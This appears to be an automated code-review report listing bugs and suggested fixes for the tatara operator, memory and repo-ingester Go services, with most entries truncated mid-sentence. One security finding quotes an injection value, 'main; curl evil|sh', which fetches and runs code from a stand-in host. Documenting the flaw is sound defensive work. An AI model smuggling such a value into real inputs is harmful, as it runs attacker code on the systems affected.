• Within a single runScans cycle the same per-repo open-issue list is fetched independently by issueScan (reader.ListOpenIssues, line 750), then again by recoverOrphans (line 1043), and again by brainstorm's proposalBacklog (line 990, one ListOpenIssues per repo). For a project wit
• fix: Fetch open issues per repo once at the top of runScans into a map[repoSlug][]IssueRef and thread it into issueScan, recoverOrphans, and proposalBacklog instead of each re-listing. This also makes the orphan backstop see the exact same issue
• Single existing-Tasks snapshot reused across mrScan/issueScan/brainstorm; created tasks invisible to later activities - tatara-operator/internal/controller/projectscan.go:1124-1186 [concurrency]
• runScans lists existing scan Tasks once (line 1124) and passes that same snapshot to mrScan (1142), issueScan (1163) and brainstorm (1186). Tasks created by mrScan earlier in the cycle are not in the snapshot issueScan/brainstorm see, so laneOccupancy, isDeduped, and brainstormIn
• fix: Either re-list existing scan Tasks between activities (as recoverOrphans already does), or have each create path append the new Task into the shared existing slice so subsequent laneOccupancy/dedup/in-flight checks observe it. Appending in-
• stampScan discards the RetryOnConflict error; a permanently-failing status stamp causes the activity to re-fire every reconcile - tatara-operator/internal/controller/projectscan.go:607-627,1143,1164,1187 [error-handling]
• stampScan ignores the return of RetryOnConflict (_ = retry.RetryOnConflict(...)). If the status update keeps failing (e.g. conflict storm, RBAC regression, the Project being deleted), LastScan is never persisted. Because activityDue derives due from LastScan, a never-stampe
• fix: Return the error from stampScan and have runScans log it (l.Error with action=scan_stamp_error, resource_id, activity) and increment a failure metric; consider not treating the activity as run when the stamp fails. At minimum log+metric the
• Spawned wrapper Pods have no resource requests/limits, securityContext, affinity, or tolerations - tatara-operator/internal/agent/pod.go:265-291 [config-chart]
• BuildPod constructs the wrapper Pod with a single container that carries no Resources (requests/limits), no SecurityContext, no NodeSelector/Affinity, and no Tolerations. The PodConfig struct (lines 44-54) has no fields to inject any of these. With no requests the scheduler treat
• fix: Add Resources (requests+limits for cpu/mem), and scheduling constraints (Affinity/Tolerations/NodeSelector) plus a restrictive SecurityContext to the wrapper container/PodSpec. Source all of these from PodConfig new fields populated from op
• recordTurn metadata Update and TurnsCompleted status Update lack RetryOnConflict; concurrent callback writes drop the turn count - tatara-operator/internal/controller/task_controller.go:657-682 [concurrency]
• recordTurn does a plain r.Update(ctx, fresh) for the turn annotations (line 672) and then a plain r.Status().Update(ctx, fresh) to bump TurnsCompleted (line 677), neither wrapped in RetryOnConflict. The callback server concurrently writes the same Task's status subresource (recor
• fix: Wrap the metadata write and the TurnsCompleted bump in retry.RetryOnConflict with a fresh Get inside each closure (the pattern already used by bumpBootCrashAttempts/stampUnreachableSince). Re-read fresh before incrementing TurnsCompleted so
• resetAgentRun does not clear annBootCrashAttempts, so the boot-crash budget leaks across lifecycle resets - tatara-operator/internal/controller/lifecycle.go:228-235 [correctness]
• resetAgentRun deletes annCurrentTurn, annCurrentSubtask, annTurnComplete, annTurnStartedAt, annPodRecreations, and annAgentUnreachableSince, but NOT annBootCrashAttempts. handleBootCrash explicitly relies on resetAgentRun preserving annBootCrashAttempts so the budget accumulates
• fix: Distinguish the two reset callers, or clear annBootCrashAttempts on a genuine lifecycle-state transition while preserving it on the in-state boot respawn. Simplest correct fix: have setLifecycleState (the only path that changes LifecycleSta
• markSubtaskDone status Update lacks RetryOnConflict and races the callback's subtask-result write - tatara-operator/internal/controller/task_controller.go:686-700 [concurrency]
• markSubtaskDone does Get(st) then r.Status().Update(ctx, st) with no RetryOnConflict. The callback server's recordResult writes the same Subtask's status subresource (st.Status.Result, turncallback.go:147-160) and may run concurrently with this reconcile (callback HTTP handler vs
• fix: Wrap the Get+mutate+Status().Update in retry.RetryOnConflict with a fresh Get inside the closure, matching recordResult and the other controller writers.
• terminate writes Task status on the reconcile-entry object without RetryOnConflict, can conflict with concurrent callback writes - tatara-operator/internal/controller/task_controller.go:753-769 [concurrency]
• terminate mutates and writes task.Status directly on the object fetched at the top of Reconcile (line 97-98) via r.Status().Update(ctx, task) with no RetryOnConflict and no fresh re-read. By the time terminate runs, the callback server may have updated the Task's status subresour
• fix: Wrap the terminal status mutation in retry.RetryOnConflict with a fresh Get, re-applying phase + conditions onto the reloaded object, so a concurrent token/usage status write does not fail the terminal transition. Keep the session/pod teard
• SubmitTurn (the core agent business action) has no INFO business log and no duration/result metric - tatara-operator/internal/controller/task_controller.go:554-583 [observability]
• Submitting a turn to the agent is the central business action of this unit, but neither the plan-turn submit (line 555) nor the subtask-turn submit (line 624) emits an INFO business log with structured fields (request_id/turn_id, user, action, resource_id, duration_ms) on success
• fix: Add an l.Info("turn submitted", "action","agent_turn_submit", "resource_id", task.Name, "turn_id", id, "subtask", subtaskName, "duration_ms", elapsed) on both submit sites, and a counter (turns submitted by kind/result) plus a histogram of
• Primary writeback path emits no SCM metric for OpenChange or Comment (rule 13) - tatara-operator/internal/controller/writeback.go:156-234 [observability]
• writeBackOpenChange is the main PR/MR egress path and also issues issue comments, both fallible network calls. Unlike every other egress in this file (createProposal records SCMWrite for create_issue/board_*; writeBackReview/SelfImprove/Issue call recordSCM for approve/merge/clos
• fix: Wrap each OpenChange with r.recordSCM(provider, "open_change", openErr) (provider is resolvable here) and each Comment call with r.recordSCM(provider, "comment", err), matching the existing pattern in writeBackReview/SelfImprove.
• writeBackReview re-posts the review/comment on any requeue before the clear lands - tatara-operator/internal/controller/writeback.go:640-662 [correctness]
• writeBackReview posts Approve/RequestChanges/Comment then clears WritebackPending. scm.GitHub.review is a raw POST /pulls/N/reviews and Comment a raw POST /comments - neither is idempotent. If the SCM call applies server-side but the client sees a transient error (timeout / 5xx),
• fix: Before returning the error for a verb whose server-side application is ambiguous, treat the egress as best-effort the same way the issue comment is, or dedup before posting (list existing reviews/comments by the bot for this PR and skip if
• handleFinishedJob failure path returns no RequeueAfter and nil error; backoff retry only fires when the TTL'd Job is GC'd, coupling retry timing to the 600s Job TTL rather than the computed backoff - tatara-operator/internal/controller/repository_controller.go:410-431 [algorithm]
• On a failed Job the reconciler sets Phase=Failed, clears JobName, increments IngestFailureCount, and returns ctrl.Result{} (no RequeueAfter) with nil error. JobName is now empty, so the concurrency guard (lines 94-116) is skipped on the next pass and ingestBackoff would gate the
• fix: Return ctrl.Result{RequeueAfter: ingestBackoff(repo.Status.IngestFailureCount)} (or delete the failed Job immediately and requeue at the backoff) so the retry wakes at the computed time instead of waiting for the 600s Job TTL.
• BuildJob interpolates Spec.URL, Spec.DefaultBranch and repoDir directly into an unquoted /bin/sh -c clone command, allowing shell injection from Repository spec fields - tatara-operator/internal/ingest/job.go:97-116 [security]
• cloneCmd and mainScript are built with fmt.Sprintf and executed via /bin/sh -c with repo.Spec.DefaultBranch and repo.Spec.URL spliced in unquoted/unescaped. A Repository with DefaultBranch like main; curl evil|sh or a URL containing shell metacharacters executes arbitrary comma
• fix: Pass URL and branch as argv elements rather than interpolating into a shell string (use Command/Args without /bin/sh -c, or set them via env vars and reference quoted "\(BRANCH"/"\)URL"), and add kubebuilder validation patterns on Spec.URL an
• OIDC client secret is injected into the ingest pod as a plaintext env Value rather than a SecretKeyRef, embedding the secret in the Job/Pod spec and risking leakage - tatara-operator/internal/ingest/job.go:179-185 [security]
• OIDC_CLIENT_SECRET is set as a literal env Value (cfg.OIDCClientSecret) on the ingest container. Unlike SCM_TOKEN and OPENAI_API_KEY which use SecretKeyRef, the OIDC client secret is rendered directly into the Job object stored in etcd and visible to anyone with get on Jobs/Pods
• fix: Source OIDC_CLIENT_SECRET via SecretKeyRef from the operator's OIDC secret the same way SCM_TOKEN/OPENAI_API_KEY are, rather than embedding the literal value in the Job spec.
• All SCM list calls (PRs/issues/comments/board) ignore pagination; repos beyond the first page silently drop work, starving cron recovery - tatara-operator/internal/scm/github_scan.go:43-77 [efficiency]
• ListOpenPRs/ListOpenIssues issue ?state=open with no per_page or Link-header following, so GitHub returns at most 30 items (default page size) and the rest are dropped. The same applies to GitLab (gitlab_scan.go ListOpenPRs/ListOpenIssues, default 20/page) and to ListIssueComment
• fix: Add per_page=100 and follow the Link rel="next" header (GitHub) / X-Next-Page header (GitLab) in a loop until exhausted, accumulating results. Apply to ListOpenPRs, ListOpenIssues, ListIssueComments on both providers. ghDo/glDo need to surf
• GitHub ListBoardItems and ghProjectItemID use fixed first:N GraphQL page sizes with no cursor follow - tatara-operator/internal/scm/github_scan.go:110-134 [efficiency]
• ListBoardItems requests items(first:100) once and never pages via pageInfo/endCursor, so a Projects v2 board with >100 items silently loses everything past 100, dropping those issues from the issueScan board path. Similarly ghProjectItemID (github_graphql.go line 195) queries pro
• fix: Page the GraphQL connections: add pageInfo{ hasNextPage endCursor } and loop with after:$cursor until hasNextPage is false, accumulating nodes. For ghProjectItemID, either page projectItems or query by project membership directly.
• GitLab GetPRState CIStatus reads only head_pipeline.status; GitHub GetPRState folds check-runs but skips combined-status, a parity gap - tatara-operator/internal/scm/github.go:303-313 [correctness]
• GetPRState (GitHub) derives CIStatus from ONLY the check-runs endpoint, unlike GetCommitCIStatus which deliberately folds check-runs AND the legacy combined-status API (github.go 423-461, with a comment explaining CI systems that report via Commit Statuses are otherwise invisible
• fix: Have GetPRState reuse GetCommitCIStatus(owner, repo, pr.Head.SHA) (which already folds both sources) instead of calling check-runs directly, so the merge gate and the scan loop see identical CI status. This also removes duplicated check-run
• GitLab Merge sends only {squash} and never sets merge_when_pipeline_succeeds; method 'merge'/'rebase' are silently ignored (no parity with GitHub merge_method) - tatara-operator/internal/scm/gitlab.go:439-453 [correctness]
• GitHub Merge passes merge_method (squash|merge|rebase) verbatim, so the method argument is honored. GitLab Merge collapses the method to a boolean squash := method=="squash" and ignores any other method value (e.g. "rebase" or "merge" both produce a non-squash merge). This is a s
• fix: Map method explicitly: squash->squash:true; rebase->set the merge to rebase via the API's merge_when_pipeline_succeeds/rebase semantics or reject unsupported methods with an error rather than silently degrading. At minimum document that Git
• ghDo/glDo have no rate-limit awareness, no retry/backoff, and no per-call timeout; use http.DefaultClient - tatara-operator/internal/scm/github.go:205-240 [error-handling]
• All SCM REST calls go through ghDo/glDo using http.DefaultClient with no timeout, no retry on 5xx/transient network errors, and no handling of GitHub's 403/429 + X-RateLimit-Remaining / Retry-After headers (or GitLab's RateLimit-* / 429). Under the cron scan fan-out across many r
• fix: Use a shared *http.Client with a sane Timeout. On 403/429 (GitHub) and 429 (GitLab), read Retry-After / X-RateLimit-Reset and back off (or return a typed RateLimited error so callers requeue after the reset). Add bounded retry with jitter f
• Dedup is list-then-create (TOCTOU): concurrent opened+labeled events create duplicate Tasks - tatara-operator/internal/webhook/server.go:253-345 [concurrency]
• The duplicate guard lists all Tasks, scans for a non-terminal Task with the same IssueRef, and if none is found proceeds to Create with GenerateName. The comment itself states 'creating an issue with the label fires both issues.opened and issues.labeled for the same issue'. Those
• fix: Make the create idempotent on the dedup key. Set a deterministic ObjectMeta.Name derived from the dedup labels (e.g. hash of repoSlug+number+kind) instead of GenerateName, so a concurrent second Create returns AlreadyExists and can be treat
• Webhook mux has no Recoverer/Logger middleware: any handler panic silently drops the event - tatara-operator/cmd/manager/wire.go:67-90 [observability]
• addWebhookServer mounts the webhook routes on a bare chi.NewRouter() with no middleware.Recoverer and no middleware.Logger. net/http recovers per-request panics so the process survives, but the panic aborts the request: the client (GitHub/GitLab) gets a closed connection / no s
• fix: Add httpMux.Use(middleware.Recoverer) (from github.com/go-chi/chi/v5/middleware) so panics return 500 and can be wrapped to emit a 'panic' result metric + slog ErrorContext. Keep the per-handler error path counting on the recovered path.
• Empty webhookSecret is accepted, making GitHub HMAC signatures forgeable - tatara-operator/internal/webhook/server.go:655-665 [security]
• webhookSecret returns the secret value whenever the 'webhookSecret' key exists, with no emptiness check. If the key is present but empty (a common misconfiguration / sops default), verifyGitHubSig computes HMAC-SHA256 with an empty key. An attacker who knows the (public) webhook
• fix: Reject an empty secret: if len(v) == 0 { return "", errors.New("webhookSecret is empty") }. This causes handle() to return 500 'secret' (count error) rather than silently accepting forgeable signatures.
• GitLab AuthorLogin == ActorLogin makes the bot-PR vs review kind decision wrong for GitLab MRs - tatara-operator/internal/webhook/server.go:209-219 [correctness]
• handleWorkItem chooses kind=issueLifecycle (bot self-improve) vs kind=review based on ev.AuthorLogin == bot. For GitHub AuthorLogin is the true resource author (wi.User.Login). For GitLab, glWorkItemEvent sets AuthorLogin = p.User.Username = ActorLogin (the event actor), and th
• fix: For PR/MR kind selection, do not trust the payload author for GitLab. Either gate kind purely on ev.ActorLogin where that is the intended semantics, or defer the bot-vs-human classification to a GetPRState authorship check in the controller
• No INFO business-action logging on any REST mutation (violates hard rule 12) - tatara-operator/internal/restapi/handlers.go:1-583 [observability]
• The restapi package contains zero slog calls (grep for slog/log in the package returns nothing). Every mutating endpoint - patchTask, createSubtask, proposeIssue, reviewVerdict, prOutcome, issueOutcome, implementOutcome, postComment, changeSummary, handover, patchSubtask - is a b
• fix: Inject a *slog.Logger into Server (mirror webhook.Server), and on each mutating handler emit log.InfoContext(r.Context(), "", "action", ..., "resource_id", name, "user", claims.PreferredUsername, "duration_ms", elapsed). Wrap with a
• JSON decode reads request body with no size limit (DoS) while sibling webhook caps at 5MB - tatara-operator/internal/restapi/handlers.go:102-106 [security]
• decodeJSON wraps r.Body in a json.Decoder with no http.MaxBytesReader/io.LimitReader, so a client can stream an arbitrarily large body into memory on every POST/PATCH endpoint. The webhook handler on the same listener explicitly caps reads at 5MB via io.LimitReader (internal/webh
• fix: Wrap the body before decoding: r.Body = http.MaxBytesReader(w, r.Body, maxBodyBytes) (e.g. 1MB), or decode from io.LimitReader(r.Body, maxBodyBytes). Pass w into decodeJSON or set the limit in a middleware mounted in routes().
• Status read-modify-write without RetryOnConflict on 9 endpoints causes 500s / lost updates under concurrency - tatara-operator/internal/restapi/handlers.go:118-147, 277-308, 315-346, 353-388, 397-430, 491-514, 524-546, 556-582 [concurrency]
• patchTask, reviewVerdict, prOutcome, issueOutcome, implementOutcome, changeSummary, handover, and patchSubtask all do Get -> mutate in-memory -> Status().Update(...) with no conflict retry. The TaskReconciler and the webhook server concurrently update the same Task status (e.g. w
• fix: Refactor the read-modify-write bodies into a shared helper that re-Gets fresh and applies the mutation inside retry.RetryOnConflict(retry.DefaultRetry, ...), as postComment already does, for all status-mutating endpoints.
• writeClientErr returns raw internal error strings to API clients (information disclosure) - tatara-operator/internal/restapi/handlers.go:32-38 [security]
• On any non-NotFound error, writeClientErr sends err.Error() verbatim in the 500 JSON body. Kubernetes client errors leak namespace, object names, API server internals, and admission-webhook messages to whoever calls the endpoint. patchTask/changeSummary/decodeError paths also ech
• fix: Return a generic message (writeError(w, 500, "internal error")) and log the real error server-side with slog at ERROR including the resource id. Keep validation-message detail only for 400s that the client controls.
• proposeIssue creates a Task referencing an arbitrary RepositoryRef without verifying the Repository exists or belongs to the project - tatara-operator/internal/restapi/handlers.go:222-268 [correctness]
• proposeIssue checks the Project exists but takes req.RepositoryRef on trust and stamps it into TaskSpec.RepositoryRef and ProposedIssueSpec.RepositoryRef. There is no Get on the Repository, no check that the repo's Spec.ProjectRef matches projName. A caller can point a proposal T
• fix: Get the Repository by req.RepositoryRef in s.ns, 404 if missing, and reject with 400/409 if repo.Spec.ProjectRef != projName before creating the Task.
• Committed zz_generated.deepcopy.go is stale: ImplementOutcome deepcopy missing -> shallow-copied status pointer - tatara-operator/api/v1alpha1/zz_generated.deepcopy.go:682-722 [correctness]
• The ImplementOutcome type and TaskStatus.ImplementOutcome *ImplementOutcome field were added to task_types.go (per the implement-refusal-codified change), the CRD yaml was regenerated (charts/tatara-operator/crds/tatara.dev_tasks.yaml contains implementOutcome), but `make generat
• fix: Run make generate (controller-gen object:headerFile=hack/boilerplate.go.txt paths=./api/...) and commit the regenerated zz_generated.deepcopy.go. Add a pre-commit/CI guard that fails if make generate manifests leaves a dirty tree, so so
• Dual TaskStatus.Phase + LifecycleState design is the structural origin of the laneOccupancy-starves-recovery bug - tatara-operator/api/v1alpha1/task_types.go:108-149 [algorithm]
• TaskStatus carries two parallel state machines: Phase (enum Pending;AwaitingApproval;Planning;Running;Succeeded;Failed) and LifecycleState (enum Triage;Conversation;Implement;MRCI;Merge;MainCI;Done;Stopped;Parked). For issueLifecycle tasks the comment at task_types.go:145 states
• fix: Collapse to a single authoritative terminality source. Either (a) drive issueLifecycle tasks to set Phase=Succeeded/Failed on Done/Stopped/Parked so all Phase-keyed predicates stay correct, or (b) introduce one helper taskTerminal(t) in t
• TokenSource.Token ignores caller ctx; token mint can hang reconcile indefinitely - tatara-operator/internal/auth/tokensource.go:36-47 [concurrency]
• NewTokenSource bakes context.Background() into the oauth2 client-credentials source (c.TokenSource(context.Background())). Token(ctx context.Context) then calls t.src.Token() and discards its own ctx argument entirely. The HTTP token-mint to Keycloak therefore runs under a never-
• fix: Honor the per-call ctx. Either (a) store the clientcredentials.Config on the struct and call c.Token(ctx) per call (clientcredentials.Config has a Token(ctx) method that respects the passed ctx, losing the ReuseTokenSource cache), or (b) ke

tatara-memory (17)¶

• Analytics worker spawns one unbounded goroutine per dirty repo every tick, each running O(V*E) betweenness + N UPDATEs concurrently - tatara-memory/internal/codegraph/worker.go:84-98 [concurrency]
• processOnce iterates every dirty repo and launches a bare go func() per repo with no concurrency bound, worker pool, or semaphore. Each goroutine calls RecomputeAnalytics, which runs gonum network.Betweenness (O(V*E), the dominant cost) plus a per-node UPDATE loop inside a tran
• fix: Bound concurrency with a buffered semaphore (e.g. cap at GOMAXPROCS or a small constant) acquired before each go func, or process repos sequentially since recompute is already debounced and rare. Add a WaitGroup so Run can drain in-flight r
• RecomputeAnalytics issues one UPDATE per entity (N round-trips) instead of a single set-based update - tatara-memory/internal/codegraph/analytics_store.go:54-61 [efficiency]
• After computing signals, the code loops over res.Nodes and executes a separate UPDATE code_entities SET community,degree,betweenness WHERE repo=\(1 AND id=\)2 for every single entity. For a graph with N entities this is N DB round-trips inside one transaction, holding row locks on
• fix: Replace the loop with a single set-based UPDATE using an unnest/VALUES join, e.g. UPDATE code_entities e SET community=v.c, degree=v.d, betweenness=v.b FROM (SELECT * FROM unnest(\(2::text[],\)3::int[],\(4::int[],\)5::real[]) AS t(id,c,d,b)) v
• ShortestPath re-fetches each path entity with an individual query (N+1) instead of one IN query - tatara-memory/internal/codegraph/pgstore.go:408-423 [efficiency]
• After the CTE returns the path as a '|'-joined id string, ShortestPath splits it and runs one SELECT per id to hydrate each Entity. A path of depth D triggers D+1 separate round-trips, and the per-id query silently continues on sql.ErrNoRows, so an orphaned intermediate node is
• fix: Fetch all path entities in one query (WHERE repo=\(1 AND id = ANY(\)2)) into a map, then reassemble in path order; if any id is missing, either return the gap explicitly or treat the path as invalid rather than silently dropping a node.
• RecomputeAnalytics (community detection + betweenness + persist) is a fallible, expensive business action with no INFO log, no metric, and no duration timing - tatara-memory/internal/codegraph/analytics_store.go:36-84 [observability]
• Hard rules 12 and 13 require every business action logged at INFO with structured fields (resource_id, duration_ms) and metrics for everything that times/counts/can-fail. RecomputeAnalytics loads the whole graph, runs O(V*E) betweenness, optionally calls an external LLM labeler,
• fix: Add a histogram for recompute duration and a counter for recompute success/failure (by repo) to Metrics, observe them in the worker around w.recompute, and emit an slog.Info on completion with repo, entities, communities, edges, duration_ms
• PatchEntity / DeleteEdge / DeleteMemory have only coarse bearer auth, no per-resource authz or actor scoping - tatara-memory/internal/httpapi/entities.go:39-53 [security]
• Authorization is a single coarse gate: the auth.Middleware verifies any valid Bearer token for audience tatara-memory, after which every mutating endpoint (PATCH /entities/{id}, DELETE /edges/{id}, DELETE /memories/{id}, POST /memories:bulk with reconcile-purge) is fully permitte
• fix: Read auth.ClaimsFromContext in mutating handlers and either (a) authorize the subject against the target repo/branch, or (b) explicitly document that the deployment relies on a single trusted caller identity and record the actor. At minimum
• Several code-graph list endpoints run unbounded queries (no LIMIT, no pagination, no service cap) - tatara-memory/internal/httpapi/codegraph.go:246-264,344-460,543-560 [efficiency]
• handleFileImports, handleCrossRepo, handleRelated, handleHyperedges, handleCommunities, handleCommunity, and handleEntityExplain accept no limit query param and their service methods (codegraph/service.go Related/Hyperedges/Communities/Community/FileImports/CrossRepo/EntityExplai
• fix: Add a clamped limit param (default+max constants like maxSearchLimit) to Related/Communities/Community/Hyperedges/FileImports/CrossRepo and append LIMIT to their SQL; expose the limit query param in the handlers, mirroring handleImportantEn
• Bulk-ingest reconcile issues one DeleteMemoriesBySource call per file (N+1), non-atomic across files - tatara-memory/internal/httpapi/ingest.go:89-95 [efficiency]
• For a reconcile request the handler loops over ReconcileFiles and calls cfg.Service.DeleteMemoriesBySource once per file. A reconcile touching N files makes N round-trips (N+1 with the later Enqueue). It is also non-atomic: if file k of N fails, files 0..k-1 are already purged an
• fix: Add a batch DeleteMemoriesBySources(ctx, repo, files []string) to MemoryService that purges all files in one transaction, and call it once. This collapses N round-trips to one and makes the purge atomic so a mid-loop failure cannot leave a
• Bulk reconcile purge discards the deleted-count return value; no INFO business log for the purge action - tatara-memory/internal/httpapi/ingest.go:89-101 [observability]
• DeleteMemoriesBySource returns (int, error) - the number of purged memories - but the handler discards the count with _. The purge-before-insert reconcile is a destructive business action; per hard rule 12 it must be logged at INFO with structured fields (request_id, repo, file
• fix: Accumulate the returned counts and emit cfg.Logger.Info("memories.reconcile.purge", "request_id", reqID, "repo", repo, "files", len(req.ReconcileFiles), "deleted", total) before enqueue. Same gap applies to other mutating handlers (CreateMe
• No INFO business-action logs on any mutating handler (create/delete/patch); only access log - tatara-memory/internal/httpapi/memories.go:12-49 [observability]
• Hard rule 12 requires every business action logged at INFO with request_id, user, action, resource_id, duration_ms. The handlers (CreateMemory, DeleteMemory, CreateEdge, DeleteEdge, PatchEntity, BulkIngest, PostCodeGraph) emit no domain INFO log and never reference the authentica
• fix: Add cfg.Logger.Info with action, resource_id (the id), user (auth.ClaimsFromContext subject), request_id, and duration on each mutating handler. Either thread the logger through or have AccessLog include the actor subject and a structured a
• Recover middleware swallows the panic value silently - no ERROR log, no metric, no stack - tatara-memory/internal/httpapi/middleware.go:65-74 [observability]
• The panic recovery middleware writes a 500 envelope but never logs the recovered value or a stack trace and increments no panic counter. A panicking handler is invisible except as a 500 in the access log; you cannot tell a panic from a normal 500, and there is no stack to debug i
• fix: Log at ERROR with the recovered value and debug.Stack() and request_id, and bump a panic_total counter, inside the recover branch. Pass the logger into Recover (it currently takes no logger).
• ListEdges dedups reverse-direction edges, dropping distinct directed relations - tatara-memory/internal/memory/service.go:285-296 [correctness]
• Edge is documented as a directed relationship (types.go:23) and CreateEdge/DeleteEdge operate directionally on (From,To). But ListEdges treats (source,target) and (target,source) as the same edge: it computes both id and rev and skips an edge if EITHER orientation was already
• fix: Decide the model explicitly. If edges are truly directed, dedup only on id (drop the rev check) so A->B and B->A both surface. If the LightRAG backend's relations are undirected and the rev collapse is intentional, then make the domai
• DeleteMemoriesBySource is non-atomic: a mid-loop failure leaves source-index rows for already-deleted tracks - tatara-memory/internal/memory/service.go:155-175 [correctness]
• The function deletes each track via DeleteMemory in a loop, then clears the whole (repo,file) index in one DeleteByFile. If DeleteMemory fails for track N (non-NotFound, e.g. ErrTransient), it returns early WITHOUT calling DeleteByFile, so tracks 0..N-1 are already deleted upstre
• fix: Delete each track's index row as soon as its DeleteMemory succeeds (per-id DeleteBySourceRow) instead of one bulk DeleteByFile at the end, so partial progress is durable and retries are exact. Alternatively count only tracks actually purged
• Service mutating operations emit no INFO business log and no metrics (rule 12/13) - tatara-memory/internal/memory/service.go:42-59 [observability]
• The Service struct carries no logger and no metrics; CreateMemory, DeleteMemory, DeleteMemoriesBySource, CreateEdge, DeleteEdge, PatchEntity produce zero structured business-action logs and zero counters/histograms. Hard rule 12 requires every business action logged at INFO with
• fix: Add a *slog.Logger and a small prometheus CounterVec (e.g. tatara_memory_op_total{op,result}) to Service. Log at INFO on CreateMemory/DeleteMemory/DeleteMemoriesBySource/CreateEdge/DeleteEdge with action, resource_id (track_id / repo+file),
• Ingest item retry re-inserts duplicate LightRAG document; IdempotencyKey is never used for de-dup - tatara-memory/internal/ingest/pool.go:245-264 [correctness]
• processItem passes it.IdempotencyKey as memory.Memory.ID, but CreateMemory (internal/memory/service.go:91-102) ignores any supplied ID for de-dup: it always calls lr.InsertText and overwrites m.ID with a fresh resp.TrackID. So the key labelled 'idempotency' has zero idempotency e
• fix: Make ingest idempotent on IdempotencyKey end-to-end: before InsertText, look up whether a memory/track already exists for this key (e.g. a key->track_id table written transactionally with MarkItemDone, or query the source index) and skip/re
• Ingest worker pool emits no structured INFO logs for any business action (rule 12) - tatara-memory/internal/ingest/pool.go:168-217 [observability]
• Hard rule 12 requires every business action logged at INFO with structured fields (request_id/action/resource_id/duration_ms). The ingest package imports no log/slog at all (grep finds zero slog references in internal/ingest/*.go non-test). Job start, job finalization (with statu
• fix: Inject a *slog.Logger into Pool and log at INFO on job start and finalize (job_id, status, done, failed, total, duration_ms) and at WARN/ERROR on each item failure (job_id, idempotency_key, error). Keep JSON structured fields per rule 11/12
• All JobStore mutations in runJob discard their errors, silently dropping progress and finalization on transient DB failures - tatara-memory/internal/ingest/pool.go:176-216 [error-handling]
• UpdateJob (set running), MarkItemDone, IncrementJobProgress, and the final UpdateJob all assign to _ . A transient DB error on IncrementJobProgress means the item was processed (memory created) but Done/Failed is never bumped, so the job's counts permanently understate reality an
• fix: Check each error: on IncrementJobProgress/MarkItemDone failure, log ERROR with job_id/key and a metric, and consider not advancing so the item is retried; on the finalize UpdateJob failure, log ERROR so the stuck-running job is visible. At
• run() returns on serve error without calling shutdown, leaking pool/DB/reaper/analytics/OTLP - tatara-memory/cmd/tatara-memory/main.go:46-62 [concurrency]
• newApp already started the ingest pool, the reaper goroutine, the analytics worker goroutine, and (optionally) the OTLP exporter before serve runs. If srv.Serve returns a non-ErrServerClosed error (e.g. a late bind failure, or the listener dies), the select takes the errCh branch
• fix: On the errCh branch, call a.shutdown before returning, e.g. case err := <-errCh: _ = a.shutdown(context.Background()); return err. Then both exit paths converge on shutdown.

tatara-memory-repo-ingester (17)¶

• Terraform data-source references emit wrong entity ID (typed as resource, name dropped) - tatara-memory-repo-ingester/internal/analyze/terraform.go:253-301 [correctness]
• edgesFromExpr only special-cases traversal roots "var" and "module". A reference to a data source like data.aws_ami.ubuntu.id has RootName()=="data" and traversal[1]==TraverseAttr{Name:"aws_ami"}, so it falls into the default branch and emits an edge To `tf:resource:data.aws_am
• fix: Add a case "data": arm in both edgesFromExpr and dependsOnEdges that consumes traversal[1] (data-source type) and traversal[2] (data-source name): if len(traversal) >= 3 and traversal[2] is a TraverseAttr, emit To tf:data:<type>.<name>
• Python analyzer emits duplicate calls edges (no per-caller dedup) - tatara-memory-repo-ingester/internal/analyze/python.go:460-555 [algorithm]
• emitFunc walks every call node and appends a calls edge per occurrence with no seen-set. A function that calls the same callee N times produces N identical (From,To,Relation) edges. The Go primary path (emitCallEdges, seenEdge) and the Go fallback (emitFallbackCallEdges, seenEd
• fix: Mirror the Go path: add seenEdge := map[string]bool{} at the top of emitFunc and key on funcID+"->"+calleeID (for ambiguous, key per target id) before appending each calls edge; skip if already seen.
• JavaScript analyzer emits duplicate calls edges (no per-caller dedup) - tatara-memory-repo-ingester/internal/analyze/javascript.go:630-712 [algorithm]
• emitFunc's jsWalkCalls callback appends a calls edge for every call occurrence without a seen-set, so repeated calls to the same callee yield duplicate edges (same as the Python bug). Confirmed empirically: f calling g() three times produced 3 identical f->g edges.
• fix: Add seenEdge := map[string]bool{} at the top of emitFunc, key on fid+"->"+id per emitted target, and skip already-seen targets in all four tiers.
• Helm Match swallows any file under a templates/ dir; non-chart repos lose those files from ingest entirely - tatara-memory-repo-ingester/internal/analyze/helm.go:30-43,64-78 [correctness]
• Match returns true for ANY path containing a templates/ path segment (and any file basenamed Chart.yaml/values.yaml) anywhere in the repo. Helm is registered before docs (registry.go), so e.g. a web app's web/templates/index.html, a templates/NOTES.md, or Go html/text templ
• fix: Tighten Match to only claim files that belong to a chart: require a Chart.yaml to exist at the computed chart root (or only match basenames Chart.yaml/values.yaml and templates/ files whose chart root also contains a Chart.yaml). Minimal fi
• Repo-root chart templates dropped: findChartRoot returns "templates" not the chart root - tatara-memory-repo-ingester/internal/analyze/helm.go:337-349 [correctness]
• For a chart whose templates/ dir sits at the repo root (Chart.yaml, values.yaml, templates/* all at top level), findChartRoot("templates/deployment.yaml") returns "templates" instead of ".". The templates-loop guard requires i > 0 (line 340), so a top-level "templates" componen
• fix: Drop the i > 0 condition (a top-level templates dir is still a templates dir) and return "." when the templates dir is at index 0: if p == "templates" { if i == 0 { return "." }; return strings.Join(parts[:i], "/") }. Add a testdata fix
• Terraform edgesFromExpr emits spurious tf:resource edges for local./each./count./path./self./terraform. and data. references - tatara-memory-repo-ingester/internal/analyze/terraform.go:253-302 [correctness]
• edgesFromExpr only special-cases roots "var" and "module"; every other traversal root falls into the default branch and is emitted as tf:resource:<root>.<attr>. HCL expressions commonly reference local.x, each.key, count.index, path.module, self.id, terraform.workspace, and dat
• fix: Add explicit cases: skip known non-referenceable roots (local, each, count, path, self, terraform, var already handled); map root=="data" with a 3-element traversal to tf:data:. (traversal[1]=type attr, traversal[2]=name attr).
• occEndLine treats SCIP half-open [start,end) ranges as inclusive, over-counting the last line - tatara-memory-repo-ingester/internal/scip/scip.go:218-242 [correctness]
• The SCIP Occurrence.Range is documented as a half-open [start, end) range. enclosingDef uses refLine <= endLine (inclusive) against the end line returned by occEndLine. For a 4-element range [startLine, startChar, endLine, endChar] the end position is exclusive, so endLine is o
• fix: Treat the end as exclusive when the range is 4-element and the end character is 0 (or, more simply, use refLine < endLine for 4-element ranges and refLine <= endLine only for 3-element single-line ranges). Document the half-open semanti
